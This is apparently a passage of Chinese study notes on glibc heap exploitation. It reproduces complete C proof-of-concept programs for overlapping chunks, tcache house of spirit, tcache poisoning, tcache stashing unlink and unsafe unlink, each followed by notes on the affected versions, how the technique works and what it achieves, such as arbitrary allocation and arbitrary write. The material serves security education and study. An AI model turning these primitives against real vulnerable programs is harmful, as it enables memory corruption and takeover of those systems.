printf("Setting the value of the overlapped chunk\n");
overlapping_chunk[distance] = 0x1122334455667788;

// Show that the pointer has been written to.
printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);

_exit(0); // exit early just in case we corrupted some libraries
}

overlapping_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
/*

A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

int main(int argc , char* argv[])
{
setbuf(stdout, NULL);

long *p1,*p2,*p3,*p4;
printf("\nThis is another simple chunks overlapping problem\n");
printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n"
"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n"
"and the prev_size of it must match the unsortedbin's size\n"
"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n");

printf("Let's start to allocate 4 chunks on the heap\n");

p1 = malloc(0x80 - 8);
p2 = malloc(0x500 - 8);
p3 = malloc(0x80 - 8);

printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

memset(p1, '1', 0x80 - 8);
memset(p2, '2', 0x500 - 8);
memset(p3, '3', 0x80 - 8);

printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
int evil_chunk_size = 0x581;
int evil_region_size = 0x580 - 8;
printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);

/* VULNERABILITY */
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
/* VULNERABILITY */

printf("\nNow let's free the chunk p2\n");
free(p2);
printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

printf("\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
printf("This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);

printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8);
printf("p4 should overlap with p3, in this case p4 includes all p3.\n");

printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

printf("Let's run through an example. Right now, we have:\n");
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);

printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);

printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 80);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);

assert(strstr((char *)p4, (char *)p3));
}

漏洞成因

适用范围

  • 2.23—— 至今

利用原理

  • 申请3个chunk p1,p2,p3 对应size: 0x80 0x500 0x80
  • 通过溢出修改p2的size为0x581,此时p3被包含进了p2,形成了堆重叠
  • free(p2),p3的内存会随p2一起释放掉
  • 申请 0x580-0x8 大小的chunk,即p4
  • p4实质就是p2和p3合并的chunk,我们可以通过p4对p3写内容或操作

相关技巧

可以通过overlapping_chunk将一个 used chunk 合并到free chunk(也可以是topchunk)中,再将它申请出来就可以实现任意地址分配

利用效果

tcache_house_of_spirit

效果:tcache_house_of_spirit就是通过free一个Fake chunk来让malloc返回一个指向几乎任意地址的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates the house of spirit attack on tcache.\n");
printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

printf("Ok. Let's start with the example!.\n\n");


printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);

printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region

printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size


printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

a = &fake_chunks[2];

printf("Freeing the overwritten pointer.\n");
free(a);

printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
void *b = malloc(0x30);
printf("malloc(0x30): %p\n", b);

assert((long)b == (long)&fake_chunks[2]);
}

漏洞成因

适用范围

  • 2.23—— 至今

利用原理

  • 这个demo演示了house of spirit在tcache上

  • 首先malloc(1)

  • 接着我们在栈上伪造个chunk,size为0x40。因为在tcache_put()中没有对下一个chunk的size进行检查,所以不需要伪造下一个chunk

  • 然后我们free这个chunk,再将其申请出来即可得到伪造的chunk,若为我们还伪造了它的fd,就可以申请其他的地

相关技巧

利用效果

分配一个chunk到栈上

tcache_poisoning

效果:任意地址分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)&stack_var == (long)c);
return 0;
}

漏洞成因

适用范围

  • 2.23—— 至今

利用原理

此技巧就是通过溢出等漏洞修改tcache链表上的next指针

  • 我们需要tcachebin中有两个chunk,a b

  • free(a);free(b);

  • 通过溢出等修改tcachebin链表头部(如b->a,b就是头部)的next指针,为&stack_var

  • 连续申请俩次就可以申请出栈上的那块内存

相关技巧

利用效果

任意地址分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);

printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);

printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 chunks into tcache
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);// size > 0x90

//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

malloc(0x90);
malloc(0x90);

printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

calloc(1,0x90);

printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

assert(target == &stack_var[2]);
return 0;
}

漏洞成因

适用范围

  • 2.23—— 至今

利用原理

关于smallbin的攻击,必须有至少一次calloc()分配

  1. 申请 9 个 chunk,释放chunk3 - chunk8 和chunk1,他们会被放入 tcache bin中。然后再释放 chunk0 和 chunk2,会被放入 unsortedbin中(连着释放7个会被合并);
  2. 申请一个 大于 上述 chunk size (0x90)的chunk,unsortedbin 中的chunk0 和 chunk2 会被放入 small bin中;
  3. 申请两个 tcache,此时 tcache 中的 剩余 chunk数量 为 5 个;
  4. 修改 chunk 2 的 bk指针 指向我们伪造的内存地址 chunk,该内存地址的chunk 的 bk 指针要为一个 可写入的地址

此时smallbin bk处如:BK: 0x564523298290(chunk 0) —▸ 0x5645232983d0(chunk2) —▸ 0x7fff26072120 —▸ 0x7fff26072130 ◂— 0

  1. 调用 calloc() 申请 与tcache 同大小的 chunk,会直接从 small bin中 取 chunk0;

  2. 此时small bin 中剩余的 chunk2-> fake chunk,会从后向前 加入 tcache中,而且由于此时tcache 仅剩2个空余,所以只会遍历到 fake chunk就会结束。

  3. 经过上述操作后,此时 tcache链中 第一个 chunk 是 fake chunk,我们取出即可。

相关技巧

利用效果

向任意地址写入libc地址,任意地址分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;

printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

printf("We create a fake chunk inside chunk0.\n");
printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
free(chunk1_ptr);

printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);

// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}

漏洞成因

适用范围

  • 2.23—— 至今

利用原理

malloc_size = 0x420;要足够大不使用tcache和fastbin

chunk0_ptr = malloc(malloc_size)
chunk1_ptr = malloc(malloc_size)

接着我们再chunk0里伪造一个fake_chunk

size=chunk1_ptr的size-0x10
fd=chunk0_ptr的地址-0x18
bk=chunk0_ptr的地址-0x10
(特别注意这里是chunk0_ptr地址,地址上存的才是堆的地址)

现在假设chunk0中存在溢出,我们可以随意改chunk1的值,接着我们改chunk1的prev_size为0x420,size的use位设为0

然后我们释放chunk1,就能触发unlink,向后合并

现在chunk0的指针指向自己了

然后我们可以通过释放这个指针两次doublefree造成任意地址写任意值

(不过libc2.32就有新的防御,新的防御机制-safe-linking(异或加密),其核心思想是:将指针的地址右移12位再和指针本身异或,这种unlink用不了啦

相关技巧

利用效果

任意地址分配